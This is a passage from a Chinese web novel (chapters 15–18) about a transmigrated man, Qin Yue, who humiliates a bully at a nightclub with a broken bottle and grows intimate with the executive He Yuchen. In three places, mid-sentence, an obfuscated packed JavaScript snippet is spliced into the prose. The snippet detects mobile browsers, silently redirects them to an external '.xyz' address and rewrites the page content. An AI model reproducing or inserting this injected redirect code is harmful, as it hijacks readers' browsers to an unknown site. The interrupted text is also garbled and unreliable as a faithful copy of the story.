好在贺煜臣并没有跟他计较什么,“他刚刚在医院有什么不对劲的地方?” 马助理赶紧开始回忆,甚至准备要回忆秦越出门的时候,先迈得是哪一条腿了。 脑中灵光一现,马助理恍然大悟,“他是看到了手机消息,才脸色很难看地出去了。” 贺煜臣面色很冷,“查出来消息来源,以及找到他今晚要去哪里。” 马助理继续头脑风暴,欲言又止地说:“秦越似乎很在意宋时景。” 手杖沉闷地点了点地面,贺煜臣声音像是冰碴:“在意?” 马助理立刻改口:“是介意。” 秦越很介意宋时景的存在? 贺煜臣思考片刻,加之吴泽曾经告诉他的消息。 他得出一个结论,秦越应该是因为之前的工作,被宋时景搅黄了,所以看到宋时景很不高兴。 可是自己明明答应过了,会给他一个在星雾娱乐工作的机会。 秦越他为什么还那么生气。 贺煜臣有点茫然。 当他想到秦越留的最后一句话,这种茫然就被无措取而代之。 秦越没有跟之前一样,开玩笑似的叫他贺总,而是喊了他……贺煜臣。 太过郑重,像一个无声的道别。 15. 第 15 章 暮色在当地富二代中,是出了名的销金窟。 秦越一进去,就发现里面灯光昏聩暧昧,不时有身材姣好的男男女女经过。 周围全是笑声夹杂着听不清的音乐。 声色犬马,纸醉金迷。 秦越不喜欢这种喧嚣的场合,他跟着系统给的指示,在这座宫殿一样大的夜场里,才没有迷路。 系统垂死挣扎:[1027号,您之前还对这个任务挺感兴趣,您说喜欢挑战的。] 秦越声音比数九寒冬的雪还冷,“但是我没准备挑战当狗。” 噫。 系统悲伤了,它知道秦越跟忍气吞声这几个字,隔着十万八千里。 秦越冷眼看着面前的包厢大门,隔着厚重的门板,里面声音已经听得很不真切了。 他随意地推开了这扇饱含恶意和危险的门。 画饼哥居然还很年轻,看着也就二十来岁的样子。 他叫李博,算是个富二代,父亲是贺氏集团的董事。 李博一见到秦越就笑了,伸出手“嘬”了一声,分明是唤狗的姿势。 这个姿势一出来,他周围的狐朋狗友全都哄笑起来。 “李少,这是谁呀?”一个年轻的男人哈哈笑了,眼睛止不住地往秦越这边瞟,“你的新宠吗?” 李博冷哼了一声,“什么新宠,不过是我不要的一条狗。”他皱着眉,“还不快滚过来,要我请你吗?” 语气极尽羞辱,恶意满满。 系统捂脸,默默地飘到另一边,不想见证接下来的事情。 秦越还是没有动,李博不耐烦地抬头睨着他。 一张攻击感十足的长相暴露在李博面前。 锋利,危险。 宛若一把出鞘的匕首。 李博暗自啧了一声,觉得秦越跟之前不太一样了。 以前秦越太过低眉顺眼,性子有点无聊,但是今天这种带着一种特殊劲儿的,让李博忍不住咽了口口水。 “算了。”他很大度地摆摆手,“之前的事情就不跟你计较了,不过……” 李博盯着那张又野又纯的脸,胸口突然涌出了施暴欲,“你学两声狗叫,我就原谅你了。” 系统安静地缩在角落里,开始在胸口画十字架。 秦越嘴角噙着笑,压着声线,温柔地说道:“那你靠近点。我只想让你一个听。” 系统发誓自家宿主话语里暗藏的威胁,已经到是个人就能听出来的程度了。 可惜画饼哥这时候不想做个人了,满脑子都是秦越眉目张扬肆意的模样。 他舔了舔嘴唇,仿佛看见了一杯美酒,哪怕知道里面掺了毒药,他也要咽下去。 李博离秦越还有几步距离,突变骤生。 秦越眉眼一弯,宽大的手掌覆上一瓶还未开封的红酒。小臂上青筋陡然暴起,他抓起瓶口部分,砰得一声朝着桌角狠狠一磕。 酒水瞬间喷涌而出,染红了地毯。 包厢里的其他人一齐尖叫起来,当即都从座位上蹦了起来。 李博盯着迸裂的酒瓶碎片,半天回不过来神。等他脑子不懵了,转眼就看见秦越手中剩下半截酒瓶,近在咫尺地抵在他眼前。 “你、你发什么疯!”李博说得很大声,但慌张乱瞟的眼珠子,暴露了他的色厉内荏。 秦越不在意地舔舐了一下被碎片划伤的手背,溅出的酒水混杂着血腥味,刺激着秦越的味觉,麻痹了伤口细微的刺痛感。 “你不是想听狗叫么?”秦越依旧很好说话的样子。 他似笑非笑地将断裂的酒瓶往下压了一些,差一点距离就要刺进李博的眼睛里。 李博想往后跑,却被秦越死死揪住衣领,只能原地祈求道:“我不想听了!我不想了!你快把酒瓶拿远点!” 万一真把他捅瞎了怎么办!他还那么年轻,不能当一个瞎子! 看着秦越这个架势,李博害怕得要死,觉得他什么都做得出来。 包厢里温度很适宜,但李博满头大汗,后背一阵发凉,脸色白得吓人,口齿不清地求饶:“对不起对不起,我就是说着玩的,我不想听了。” 秦越垂着眼看着抖成筛子的李博,轻轻扯开嘴,露出一点尖锐的犬齿,冷漠地笑了。 他很有耐心地用红酒瓶拍了拍李博的脸,“可是我想听了。” 李博:“!” 冰冷还带着潮意的玻璃贴近脸侧的一瞬间,李博腿直接一软,全靠秦越抓着他的衣服,才没狼狈地倒在地上。 他怨恨地看了一眼身边的狐朋狗友。这群大少爷们就看着他的笑话,没一个人敢过来帮忙吗! 秦越眉毛扬了扬:“你是不是该叫了。” 李博惊惧地盯着他。 这个疯子。 他不敢这时候得罪秦越,只能忍下难堪,小声地叫了出来。 秦越嗤笑了一声:“抱歉,我听不清。” 李博气急败坏:“你!” 秦越扬了扬手上的凶器,眸色一沉,在李博脸上划出一个血印子。 对方立刻就崩溃了,汪汪一通乱吠后,想死地看着秦越:“可以了吧!” 秦越神情嘲弄,松开了钳制。 他冷眼看着对方瘫倒在地上,轻描淡写地说:“原来狗是这么叫的。” 门外传来杂乱的声音,包厢门被推开又合上。 “李少,您怎么了!” 李博的那群不着调的朋友,还是帮忙喊了守在外面的保镖。 几个壮汉冲了进来,李博连滚带爬地从地上起来,躲在保镖身后,叫嚣着:“给我打死他!别手下留情。敢羞辱老子,我告诉你,这事没完了!” 他不把秦越揍得妈都不认得,他就不姓李! 保镖们看了一眼貌似毫发无损的少爷,不晓得为什么他发那么大的火。但给钱的甲方发出指令了,他们也只得掏出家伙什,把人给围起来。 李博高兴还没两秒钟,包厢的门再一次被人从外面暴力踹开了。 在推开这扇门的前,贺煜臣心里一直很乱。 暮色。 贺煜臣也听过,一个很出名的声色场所。 这就是秦越说的,他该回到的地方吗? 推门到进去的短暂时间,在贺煜臣的意识里拉得很长很长,他的脑子全是吴泽曾经给他看的照片。 他担心自己会看到,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064486|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想看的一幕。 会不会打开门后,自己会看见那张脸变得谄媚,那个人会温顺地躺在其他人怀里,任人索取。 贺煜臣眉骨下压,阴暗的情绪开始滋生。 没关系,他不在意。 自己会让其他人再也不能碰他。 一打开包厢的门,辛涩的酒味就迎面扑来。 贺煜臣不动声色地朝包厢里看了一圈,待他找到心里想的那个人,心跳猛地乱了。 秦越半张脸隐藏在黑暗中,脊背依旧很直。凌乱的额发遮住眼尾,唯一在亮处的眼瞳里,带着毛骨悚然的杀意。 他像是一头漂亮嗜血的凶兽。 肌肉紧绷,蓄势待发。 秦越只是瞥了一眼贺煜臣,就无动于衷地移开了视线,仿佛他根本不认识这个人。 李博刚被秦越弄得怒火中烧,好不容易忍辱负重,等到自己的保镖进来。现在他就要找回场子了,又有人跑进来打断他。 “谁啊?”李博恨恨地推了一把闯入的黑衣人。 没推动。 来暮色的基本都是有头有脸的人物,互相也都会给个面子。眼下他这边明显在收拾人,怎么还有人不知趣地闯进来了。 李博气得破口大骂,“妈的,到底是哪个!这么没眼力见?” 黑衣人站得不动如山,听到身后人的指示后,才毕恭毕敬地往旁边退了一步。 李博正在气头上,两眼涨红,一时间也没认出来穿着便装的贺煜臣,他怒气冲冲地说:“滚啊,没看见我在教训人?!” 贺煜臣一双桃花眼冰冷阴沉,仿佛隔绝了周遭的一片迷乱荒淫。 他甚至懒得给李博一个眼神,又把目光移向秦越,阴冷的情绪悄然软化下来,但依旧语气森然:“你想教训谁?” “我说这事跟你有什么关系?”李博这会恨不得连来的人一起揍,有保镖在这,他胆子也肥了,直接抄起衣袖,奔向贺煜臣,“你是什么东西?大好人,还是圣母转世,管那么宽!” 跟在贺煜臣旁边,但一直没吱声的马助理:“……” 头皮发麻了呀。 他老板本来就心情不好,脸黑的跟锅底似的,又舍不得找某人出气,你现在不是顺杆子来找打吗! 马助理看着跑着来作死的人,为了防止大晚上还要收拾更多的烂摊子,他迫不得已,装模作样地咳了一嗓子,还生怕李博听不见,又高声说道:“李经理!公众场合,注意措辞!” 被当众喊出职位的李博,顿时一个机灵。 他停下动作,看向发声的人,半晌才惊诧地喊道:“马助理?你怎么……”在这。 李博声音越来越小,心跳声却越来越大。 马柳是贺煜臣的特助,他如果在这的话,那就证明—— 李博血液发冷,遍体生寒,一瞬间就清醒了。他不敢确认,但又必须要确认那个人是谁。 待到李博手脚发麻地看清那个人时,全身细胞都在尖叫着完蛋了。 李博强撑着站稳了,挤出一个难看的笑容:“贺、贺总,您怎么来这里了?” 贺煜臣终于肯施舍一个眼神给他,“因为我是好人,管得比较宽。” 16. 第 16 章 李博垂着脑袋,不敢吭声了。 马助理抢在贺煜臣发火前,先发制人:“李经理,你公款吃喝玩乐不是第一次了吧,看在你父亲是公司元老份上,贺总一直都睁一只眼闭一只眼。”他朝着李博摇了摇头,“今天事情做得太过了。” 赶快做得体面点,你父亲保不住你的。 李博一狠心,陪着笑脸道:“我明天就会引咎辞职,请贺总不要迁怒我父亲,都是我——” 贺煜臣只是站在那里,甚至没有表现出明显的怒意,就给了李博足够的压迫感,“我不会因为个人喜恶用人,你父亲为人处世,无可指摘。” 贺氏集团那么多管理层,基本所有人都知道贺煜臣从不任人唯亲。这一点,让那些没有身份背景的高管,对贺煜臣的好感远远大于贺长天。 在董事会上,对某些决策进行最后敲板定论的时候,一些小股东总是会倒戈朝向贺煜臣,这也是最近一次贺长天输给贺煜臣的原因。 秦越冷眼看着两方人,本来就皱起的眉头突然越拧越紧。 他感觉自己每一次呼吸,都像被一双无形的手掐住气管,最后只能挤进一点点新鲜的氧气,肺部此刻正在拼尽全力地抗议。 秦越察觉到了身体的不对劲,他捂住胸口,以为是系统的处罚机制被触发了,“你这次怎么没让我选择?” 系统慌张摇头:[不是的,跟我这边没有关系。是您自己有酒精不耐受……呃还是酒精过敏来着。] 秦越没时间纠正这两个不是同一回事情,他不可置信:“我根本没喝酒。” 除了他刚刚舔过伤口时,舌尖卷入的那一点点液体。 系统附和道:[您如果喝了那瓶酒,刚刚李博就要跪在你身边,求您不要死了。] 秦越摇摇欲坠,胸口剧烈地起伏,暗黄的灯光在他视网膜前,变得光怪陆离。 “你怎么不早说?!”他艰难地扶住身侧的墙壁,让自己不要狼狈地倒下。 系统惊讶:[您不知道自己的身体情况吗?] 秦越跟看白痴一样盯着系统。 系统反应过来,僵硬地噢了一声,[我忘记您本体的记忆被清除了……] 怎么会有统能犯那么大的错误! 它紧张地检查了一下秦越的身体,[还好还好,摄入量不大,过敏的反应不严重。您不需要去医院,休息缓解一下就可以了。] 还好当时没在贺煜臣家里调酒,搞不好就当场露馅了! 喉管里传来了淡淡的血腥味,秦越注意力混乱,又踢倒了地上的空酒瓶。 静得跟上坟的一群人,目光集体转向了秦越。 系统紧张地倒抽一口凉气,这下可好,成了现场的焦点了。 秦越虚弱地抬起手,努力地调整呼吸,指向在场的某个人,“你过来一下。” 所有人:“……” 李博就站在被指着的人附近,他被秦越动作惊得打了个寒颤,低着头不敢看身旁人的表情。 大哥,你是想勾个阎王过去吗?! 余光里的手杖动了一下,李博一脸要死了,他还不清楚贺煜臣来这是干什么。 也许是他最近滥用职权的事情被对手举报了,或者是别的什么事,秦越的举措无异于火上浇油。 本来指望贺煜臣气消了就走人,这会眼瞅着不能善了,李博除了干着急,也没别的办法。 现在这里他说了不算。 李博急得抓耳挠腮的,恨不得马上、立刻送走这尊煞神。 他正准备朝保镖使个眼色,示意赶紧把秦越弄走。 这人今晚不知道发什么疯,冷肃的眼神让他发憷。 李博指令还没传出去,就看见贺煜臣顿了几秒钟,竟然真朝着秦越走了过去。 “贺总,他脑子有问题,您千万别离他太近了。”李博怕秦越故技重施,再给贺煜臣来这么一下子,那自己是真要完蛋,赶忙苦哈哈地提醒。 马助理立马一个巴掌就招呼过去了。 直接物理捂嘴。 当面说贺总最近放在心尖上的人脑子不好,我看你是生死难料。 人家可是敢对贺总甩脸色的人,你敢吗? 贺煜臣还没完全来到面前,秦越就莫名地一阵心安,反倒是自己往前走了几步。 他自己感觉像是迎了上去,但在贺煜臣眼里,就看见秦越整个人踉跄脱力地倒了过来。 贺煜臣慌张之下直接扔下手杖,伸出双手把人接住。 秦越手长腿长的,看着挺瘦的,实际上体脂率低,整个人死沉地靠在贺煜臣肩上。 把贺煜臣压了一个趔趄,差点两个人一起倒在地上。 贺煜臣连忙搂住他的后背,防止秦越重心不稳,把人给摔了。 秦越断断续续地喘息声,随着灼热的呼吸一直落在贺煜臣的颈侧,撩得他敏感的皮肤跟着发烫。 贺煜臣紧绷着身子不敢动,没来由地局促,手心已经开始微微出汗了。 秦越觉得有个“靠枕”之后舒服多了,但还是恹恹地说:“你是来看我笑话的?” 贺煜臣的衣服被蹭到了不少酒水,他只是瞥了一眼外套上的水渍,继续一动不动,像个深扎在地上的木桩。 等到秦越开口,贺煜臣的目光才敢落在他脸上。 秦越脸色有些苍白,不久前冷厉的瞳孔,现在蒙着一层水雾,变得涣散。浓密的眉毛微蹙着,看着可怜巴巴的。 一股很淡的辛辣味道,陆陆续续涌入了贺煜臣的鼻腔。 “你给他灌酒了。”贺煜臣脸沉了下来,转向心目中的罪魁祸首。 不是疑问句,是陈诉句。 本来一直都很冷的声线,现在更是能直接在李博心脏上开枪。 一口大锅直愣愣地砸到李博头上,把他砸得晕头转向。 李博憋屈得愣是一个字说不出来。 他刚才连根指头都没碰到秦越,是秦越一直压着霸凌他! 李博今晚脑袋嗡嗡的,先是自己拿捏习惯的小情人,被人夺舍了似的,敢按着他的头撒野了。 接着自己顶头上司莫名发难到自己头上,顺风顺水大半辈子的李博,终于体会到网上说的水逆了。 李博脑袋一团乱麻,直到看见贺煜臣为了秦越质问他,才终于把思绪理清了。 李博后知后觉地朝马助理投了一个求助的目光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064487|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 马助理:呵呵。 他决绝地扭过头,什么玩意在龇牙咧嘴地挤眼,跟有病似的。 自己今年三十五岁,正是被优化的年纪。 可不能随便帮人。 秦越那股难受劲已经过去了,肾上腺素褪去后,他现在更多的感觉是累。 他推开贺煜臣,刚走一步就被拽走了。 贺煜臣随意地一伸手,指尖却不小心卡进了秦越的衬衫肩带里。 秦越今天来这,特意穿得很正式得体,衬衫还配上了肩带,一是马上就要告别这个糟心的世界了,二是肩带可以帮忙固定住衣服,方便所有肢体幅度较大的动作。 包括揍人。 突如其来的状况,把两个人都给搞愣了。 秦越第一次从面无表情的贺煜臣眼里,看出来一点点尴尬。 贺煜臣恍然了几秒钟,才装作若无其事的样子,把手收了回来:“你要去哪?” 怎么又是这句话? 秦越头疼,贺煜臣是被按了复读键吗。 在医院里,也跟个纹丝不动的木头似的,只会问翻来覆去地问这句。 秦越本来想说跟你有什么关系,然后又想起他们还有一纸合同的联系,话到嘴边飞快地转了个弯,“回家。” 回他现实里的家。 贺煜臣不同意:“不行,你现在需要去医院。” 他怀疑医院之前检查的结果有问题。 秦越心想,去医院不就暴露他酒精过敏的事实了吗。 暂且不论酒精过敏能不能当调酒师,但原主铁定是不过敏的。 秦越赶紧问系统:“你向局里汇报完没?那么久了,换的人呢?” 系统不语,只是一昧地弹出字幕:[关键词:酒精,冲突,炮灰,男二,均触发完毕。剧情偏离度已出现,恭喜1027号员工,目前剧情偏离度10%,预计完成接下来的剧情,偏离度可达15%。] 秦越迟疑了片刻,有种听不懂中文的荒谬感:“你在说什么?” 系统则是大喜,凑近秦越解释现状:[当前场景酷似原文里的一段剧情。] 小说里宋时景在酒吧被人欺负,但他生性倔强,宁可玉碎,也不愿被人强迫,所以抱着必死的心,准备跟侮辱他的炮灰拼了,就在这个时候贺煜臣出手救了他。 总裁,美人,酒精,以及大难之后的脆弱心境。白月光一下子就被击穿了心里防线,两个人顺理成章地完成了灵与肉的交流。 确实眼下,要素齐全。 系统为了引起秦越对任务点的重视,强调道:[您刚来时候所做的改动,相较于现在所做的,可以说无足轻重。] 秦越扣出一个问号:“我现在什么都没做啊?” 系统:[是这样的,当剧情大幅度出现跟原剧情不一致的情况,就是所谓的剧情偏离度。您在这段关键剧情里取代了白月光的位置,这才导致剧情发生了偏转。] 秦越不为所动:“所以跟我交接的人呢?” 系统:[没了呢亲,因为剧情偏离度发生了,这就算您的绩效了,没有别的员工愿意过来接盘了。] 秦越:“……” 17. 第 17 章 系统感觉自己光秃秃的脑门有点凉,它颤颤巍巍地补充:[由于剧情偏离度出现了,您可以不用严格地保持人设了,我觉得算是个好消息?] 秦越沉默了好一会,看向贺煜臣,声音倦怠:“我累了,想休息。” 贺煜臣听见了秦越的话,对方带着鼻音,像是在软着声音和他讨价还价。 他没想到秦越看着啥也不怕的样子,居然也会怕去医院。 但贺煜臣偏偏拿这样的秦越没办法,没有任何犹豫,就轻易妥协了。 两个人带着一身酒味,上了停在暮色外的车。 马助理识趣地眼观鼻鼻观心,一门心思地开车。 秦越贴着车门,接受了回不去的噩耗。 看着坐在轿车里,依旧身形端正笔直的贺煜臣,他随口问道:“你来暮色是因为我吗?” 贺煜臣:“嗯。” “你怎么知道我在……你跟踪我?”秦越猛地反应过来,眯着眼睛看向贺煜臣。 贺煜臣眼神躲闪,像个被老师批评的刺头学生,硬撑着不低头,但每一个小动作都透露着想逃,“协议上写的很清楚,我有权知道你在哪。” 秦越蓦然笑了,只不过笑意不达眼底,“你说得对。” 他们只不过是因为一张上不了台面合约而联系起来。 说得好听是保密协议,实际上也不过是一场钱色交易。只不过要钱的人,只字不提钞票,高高在上的人也没有索求什么。 但其实他跟宋时景也没有什么区别,都是待价而沽的物品。 宋时景想让自己卖出个高价,而他只想完成自己的工作。 马助理突然在前排尬笑两声,“哈哈,秦先生你下午什么也没交待就走了,把贺总吓坏了,我也是找了好久才知道你去哪了,还好去的及时,你没出什么事。要不然我可要愧疚死了。” 说完之后,车里面更安静了。 马助理哭丧着脸,笑声不自然地低下去。 死嘴,就你会说。 秦越看着贺煜臣不苟言笑的侧脸,想到原文里他最后对白月光放手的场景。 [二月的风很冷,吹得宋时景鼻尖通红,他不敢看贺煜臣的眼睛,虽然两人在一起了很久,但他依然打心底得害怕贺煜臣。] [不仅仅是无处可逃的监视,更可悲的是,宋时景始终觉得贺煜臣没有对他敞开心扉。贺亦寒已经不耐烦了,他在车上催促地按着喇叭,宋时景尴尬地拎着行李箱踌躇了一会,最后还是下定决心对贺煜臣说,“对不起,我要走了。再见。”] [挽留的样子太丑,贺煜臣不愿意在爱人面前留下这样的一面。他强撑着微笑,依旧保持着矜贵的模样:“再见就免了,我不需要。”] [贺煜臣说了谎,骗过了宋时景,也骗过了自己。] [他总是思虑得太多,忘记了爱的本质。爱不该是无谓的克制隐忍,不该是假装的大度和不在乎。] [贺煜臣不懂爱,也不会爱。] [永远只能看见爱人的背影,这就是他的诅咒。] 贺煜臣腮边的软肉被人轻轻地捏了捏,对方下手的力度并不重,但脸颊还是突兀得红了一块,看起来可怜极了。 他脑子一片空白,呆呆地看着在自己脸上捏得很放肆的秦越。 “死装的小骗子。”秦越懒洋洋地说道,然后又意犹未尽地用指腹蹭了蹭。贺煜臣嘴挺硬的,但这处倒是软的,手感很不错。 等到秦越恢复了大大咧咧靠坐在座椅上的姿势,贺煜臣才慢半拍地捂住脸。 他脸上被触碰到的地方,跟秦越在办公室里亲他的位置所差无几。 秦越正歪着头看着他,眼里没有畏惧,没有对做这种轻佻动作的后悔。 贺煜臣心里一动,伸手想捏住对方的下巴,但秦越预判了他的动作,稍微侧过头,贺煜臣的指节便划到了秦越的下颌处。 看起来更像是他在捧着秦越的脸。 贺煜臣犹豫一会,用惯用的祈使句说道:“亲我。” 他顾忌车上还有助理,声音压得很低,在秦越耳朵里跟幼猫哼唧的声音差不了多少。 秦越微微挑眉,他抓着贺煜臣的手,使了个劲,坏心眼地把人往自己这边一拽。 贺煜臣咽下了卡在喉咙里的惊呼,他整个人上半身都压在了秦越身上。 他们离得太近了,贺煜臣甚至能感到身下的胸膛起伏的幅度。 秦越欣赏了一会贺煜臣因为惊讶而缓缓睁大的瞳孔,他贴在贺煜臣的耳边,笑道:“好的,贺总。” 呼吸猛地压了过来,贺煜臣无意识地抓住秦越的肩带,刚才明明觉得很尴尬的姿势,现在却变得顺利成章。 隔着单薄的衬衫,他可以清楚的感受到秦越屈肘时,大臂上隆起的弧度。 秦越的手掌一直压着自己的后颈,那种逃脱不得的压抑感,突然让贺煜臣萌生出一种恐惧。 ——在这里,他变成了猎物。 他看见秦越薄唇一开一合,“贺煜臣,你……” 心脏骤然乱跳的轰鸣吞没了后半句,他变成了一台老旧的机械,接收不到任何声音。 周围还是有那股淡淡的酒味。 好奇怪,自己没有喝酒,但怎么感觉已经醉了。 贺煜臣被突然响起的汽车鸣笛声惊醒,他缓缓眨了眨眼睛,才听清秦越无奈的声音。 “接吻就不会呼吸了?”秦越的脸隐在昏暗车内,偶尔路过的车灯闪过,照亮了眼底翻涌的暗潮。“贺煜臣,你是笨蛋吗?” 接个吻怎么差点把自己憋晕过去,秦越无语地碰了碰他通红的耳垂。 ……嗯。 人倒是快熟透了。 等到了别墅,马助理跟贺煜臣说了一些明天的工作日程后,迫不及待地溜了。 看在他尽职尽责在车上装聋子的份上,他下个月能不能申请加薪啊! 系统不怕死,张嘴就要说秦越不爱听的话:[那个,后续剧情您看看要不要完成,顺手的事。] 到底顺手在哪里了? 秦越一看原文里那些露骨的描写,真的是眼前一黑。 他一言难尽地问:“上面提到的这些……道具,也是剧情点的一部分吗?” 系统听到秦越的问话,觉得有戏了,它笑眯眯地说:[小说里用道具的角色是男二,您不用考虑那么多。] 秦越停住脚步:“现在后悔还来得及吗?” 系统像个推销贩子:[哎呀,来都来了。]它摇身一变,化身狗腿子,尽心尽责地给秦越捏肩捶腿,[您好好放松一下,到时候享受就可以了。] 站在实木大门前的管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064488|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,也是老熟人了。 她今天看出来贺煜臣心情不错,于是抢先开口问道:“秦先生今晚也住在这里吗?” 管家不开口还好,一开口秦越就想到那个满是监控的客房。 “我今晚跟贺总住一起。”秦越握住贺煜臣的手。 秦越体温比较低,贺煜臣被他碰到了也只是蜷缩了一下手指,继而反手握住了他的。 管家诧异地看着他们握在一起的手,转而用眼神询问贺煜臣的意见。 贺煜臣朝她轻轻颔首。 管家摆出标准笑容,欠身道:“好的,我明白了。” 但秦越还是从她差点左脚打右脚的动作上,感受到了她的震惊。 管家脚步飘忽地走了。 见鬼。 平时都不愿意跟别人一桌吃饭的人,今天居然可以跟人共处一室了。 “我去洗澡,你这是要……”秦越晃了晃他们还牵在一起的手,“……一起吗?” 贺煜臣火烧火燎似的,立刻松开了秦越的手。 系统今天体会到峰回路转的刺激,它在贺煜臣看不到的情况,依然美滋滋地绕着他飞了一圈,才跟上去浴室的秦越。 浴室里,水雾蒸腾。 系统愣是飘出一种六亲不认的步伐:[哎呀,是谁来执行任务不到一周,就成功触发剧情偏离度的呀。是我和尊贵的1027号员工!] 秦越听到系统的话,抓住了别的重点,“你说的剧情偏离度很难发生吗?” 系统狂点头:[是呀是呀,有的员工去执行任务,可能一年也改变不了一点剧情呢。] 秦越微微沉默,甩了甩带着水珠的头发,系统猝不及防被甩了一脸水。 系统催促他赶快出浴室:[加油加油,希望我等会一睁眼就可以看见剧情偏离度15%了!] 秦越奇道:“你居然会闭眼?” 系统:[嗯呐,我们也是要保护员工隐私的嘛,你们那什么的时候,我们是被屏蔽的。] 从第一天被赶鸭子上架干活,到今天以为自己会下班走人,又变成了现在这样。 秦越还没做好卖身的准备。 但是说实话,贺煜臣在车上的生涩反应取悦到了他。 他眸色暗了暗。 至少,刚刚的感觉不差。 贺煜臣的房间没有开灯,遮光的窗帘全部遮得严严实实。 只有墙壁底端的小夜灯还在兢兢业业的工作,能看见床上隐隐约约的人影。 秦越摸索着到了床边,心想为什么他跟做贼一样。 想罢,他试探性地开口:“为什么不开灯?” 床上的人没有回应。 秦越伸手朝床上一寸寸地往里探着,他先是碰到了贺煜臣的肩膀。 得到了默许后,秦越改变了探索的方向。 气氛逐渐变得粘稠凝滞,贺煜臣突然抓住秦越作乱的手,问了一句话。 秦越没听清楚,又凑近听了听。 结果就听见贺煜臣问道:“我们以前是不是在哪里见过?” 这种不夹杂任何欲望,也太过纯情的问题,让本来直上高速的气氛,陡转直下,变成了玛卡巴卡。 秦越松开抵住贺煜臣胸膛的手,模样古怪地瞅着贺煜臣,欲言欲止,“这时候你跟我说这个?” 18. 第 18 章 秦越想打开床头的灯,被贺煜臣制止了。 他本以为贺煜臣没有什么兴致了,但从对方的举动来看,似乎又不是。 贺煜臣是很认真地在问这个问题。 原主作为一个擦边的网红,特长是露腹肌、背肌、三角肌……除此之外,只拍过一些竖屏短剧。 至于演技只能说,烂得淋漓尽致。不管什么样的角色,他通通都是歪嘴一笑,尽显油腻本色。 贺煜臣没有任何理由见过原主。 除非……他也喜欢看擦边。 秦越一顿,“大概是我长着一张大众脸?” 这就是睁眼说瞎话了,这张瞩目的脸见过就不会忘记。 贺煜臣笑了一下:“不,我一定是在哪见过你。” 他眉目有点纠结,表情困扰:“等我想起来再说吧。你先……闭上眼睛。” 秦越略微挑眉,脑子里面翻来覆去都是原文里的劲爆桥段,他不自然地往旁边躺了躺,尽量规规矩矩地闭上眼睛。 贺煜臣打开抽屉,尽管很小心,难免还是发出了声音。 秦越耳朵动了动,但还是耐下性子。 说不好奇贺煜臣在拿什么是假的。 秦越想不出来,看着很正经的贺煜臣,是否真的会跟原文写得一样,拿出一些限制级的东西。 今晚贺煜臣觉得莫名的亢奋,他意识到自己的病应该是发作了。 环性心境障碍,有一定比例可能会发展为双相障碍。 贺煜臣床头的抽屉里放着方医生之前开过的药,因为之前他的状态还可以,方医生就暂时把药停了。 药物会让他脑子变得平静,同时也会让他更加麻木。 但他不想吓到秦越。 贺煜臣摸黑在抽屉里翻找,他数着胸腔下过于兴奋的心跳,黑暗像融化的玻璃绕进他的指缝,又再一次重塑,限制着他的行动。 他艰难地摸索着,手指仿佛不听自己的指挥,僵硬得厉害。贺煜臣开始烦躁起来,不管不顾地掀开抽屉里阻挡自己的东西。 他以前从未觉得开一个抽屉是那么难的事情,等到拿出想要的东西时,才松了一口气。 拿出药片之后,贺煜臣才苦恼地发现没有水杯,犹豫片刻之后,只好捏住药片准备干吞下去。正当他准备把药片塞进舌根的时候,旁边突如其来的动静把他吓得动作一滞。 秦越等得太久了,而且贺煜臣找东西的动静又很大。他耐心告罄睁开眼睛,“你还没好吗?” 等视力适应了黑暗,他看到贺煜臣好像拿着什么东西,似乎是在做一个吞咽的姿势。 秦越凑了过来,狐疑地看看他,又看看他手上的药片。“这是什么?” 他心虚得手一抖,终究还是没有拿住。药片从他手上掉落,滚到了床底。 贺煜臣目移,撒了个谎,“……助兴的。” 秦越不是很信,但是贺煜臣不想再谈论这个话题的情绪,传递得很明确。 他想了想,还是说:“没什么事就少吃药,都是有副作用的。” “算了。”秦越总觉得今晚贺煜臣失魂落魄的,便打开了床头灯。 当他看见贺煜臣的模样,还是吓了一跳,“你没事吧?” 贺煜臣脸色难看得要命,眼神没有落点,像是追逐着某个看不见的幽灵。 “你哪里不舒服吗?”秦越摸了摸贺煜臣的额头。 没有发热,甚至有些冰冷。 秦越又问道:“是胃不舒服吗?” 别问他为什么那么猜,介于系统天天给他普及狗血霸总文,他有幸知道,十个霸总九个有胃病。 贺煜臣没有正面回答,“你是在关心我吗?” 秦越心道,这就算关心了吗?我只是出于人道主义问一下而已。 他皱了皱鼻子,“我不想你出事。” 你可是我完成任务的重要NPC。 贺煜臣盯着他,“那你想要从我这里得到什么?” 秦越无奈地叹气,他都要觉得贺煜臣是不是反射弧太长了,跟贺煜臣在一起那么多天,对方现在才开始怀疑他的动机。 